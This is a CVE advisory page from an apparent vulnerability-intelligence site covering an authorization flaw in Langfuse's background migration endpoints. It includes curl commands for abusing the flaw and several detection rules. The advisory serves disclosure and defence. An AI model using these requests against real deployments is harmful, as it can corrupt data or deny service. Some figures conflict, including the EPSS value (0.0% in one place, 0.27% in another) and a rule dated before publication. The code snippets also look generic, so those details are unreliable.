☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-59305

CVE-2025-59305 Improper Access Control in Langfuse
📅 PUBLISHED: 2025-09-24 00:00 UTC 🔄 UPDATED: 2026-09-23 20:40 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.27%
👁️
0.27% probability
6.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-59305 is an improper authorization vulnerability in Langfuse version 3.1 (before commit d67b317). The flaw allows any authenticated user to invoke background migration control functions via TRPC endpoints (backgroundMigrations.all, backgroundMigrations.status, backgroundMigrations.retry). This can lead to data corruption or denial of service. The vulnerability has a CVSS score of 0.0 (unscored) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept or exploit code is available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Langfuse is an open-source observability and tracing platform for LLM applications. This vulnerability affects the core application, not a package manager distribution. Users should verify their deployment source and apply the patch from the official repository.

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (Unscored)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Authenticated user)
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: None
  • Integrity Impact: High (Data corruption)
  • Availability Impact: High (Denial of service)
  • Threat Level: Medium (due to authenticated requirement but high impact)

Deep Dive & Mechanics

The vulnerability resides in the TRPC router handling background migration endpoints. In Langfuse 3.1, the authorization middleware does not properly restrict access to these endpoints. Any authenticated user, regardless of role, can call:

  • backgroundMigrations.all – List all migrations.
  • backgroundMigrations.status – Check migration status.
  • backgroundMigrations.retry – Retry a failed migration.

An attacker can abuse backgroundMigrations.retry to re-run migrations that may corrupt data or cause inconsistent state. Repeated calls can lead to denial of service by exhausting resources or causing migration loops.

Vulnerable vs. Patched Code

Vulnerable (before d67b317):

// No role check on background migration endpoints
router.all('backgroundMigrations.*', async (req, res) => {
  // Directly handles request without authorization
});

Patched (after d67b317):

// Added authorization middleware
router.all('backgroundMigrations.*', authorize(['admin']), async (req, res) => {
  // Only admins can access
});

Exploitation & Lab Setup

Red Team

  1. Prerequisites: Authenticated session token for any user.
  2. Enumerate endpoints:
    curl -X POST https://target/api/trpc/backgroundMigrations.all \
      -H "Authorization: Bearer <token>"
    
  3. Retry a migration:
    curl -X POST https://target/api/trpc/backgroundMigrations.retry \
      -H "Authorization: Bearer <token>" \
      -H "Content-Type: application/json" \
      -d '{"migrationId": "some-migration-id"}'
    
  4. Impact: Data corruption or denial of service.

Blue Team

  1. Monitor logs for unusual access to /api/trpc/backgroundMigrations.* endpoints by non-admin users.
  2. Implement rate limiting on migration endpoints.
  3. Audit user roles and ensure least privilege.
  4. Apply patch from commit d67b317.

Indicators of Compromise (IOCs)

  • Network: HTTP requests to /api/trpc/backgroundMigrations.* with non-admin tokens.
  • Logs: Repeated calls to backgroundMigrations.retry with different migration IDs.
  • System: Unexpected migration state changes or database corruption.

Detection Engineering

YARA Rule

rule CVE_2025_59305_Langfuse_BackgroundMigration {
    meta:
        description = "Detects exploitation attempts of CVE-2025-59305"
        author = "Valters IT"
        date = "2025-01-01"
    strings:
        $s1 = "backgroundMigrations.all" ascii nocase
        $s2 = "backgroundMigrations.status" ascii nocase
        $s3 = "backgroundMigrations.retry" ascii nocase
    condition:
        any of ($s*)
}

Sigma Rule

title: Langfuse Background Migration Unauthorized Access
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unauthorized access to background migration endpoints
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        cs-uri-stem:
            - "/api/trpc/backgroundMigrations.all"
            - "/api/trpc/backgroundMigrations.status"
            - "/api/trpc/backgroundMigrations.retry"
    condition: selection
falsepositives:
    - Legitimate admin activity
level: high

Suricata Rule

alert http any any -> $EXTERNAL_NET any (
    msg:"CVE-2025-59305 Langfuse Background Migration Exploit";
    flow:to_server,established;
    content:"/api/trpc/backgroundMigrations"; http_uri;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

  1. Immediate: Apply the patch from commit d67b317 in the Langfuse repository.
  2. Short-term: Restrict access to migration endpoints via reverse proxy (e.g., Nginx) to only admin IPs.
  3. Long-term: Implement role-based access control (RBAC) for all TRPC endpoints.
  4. Monitoring: Enable audit logging for all migration operations.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-59305/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.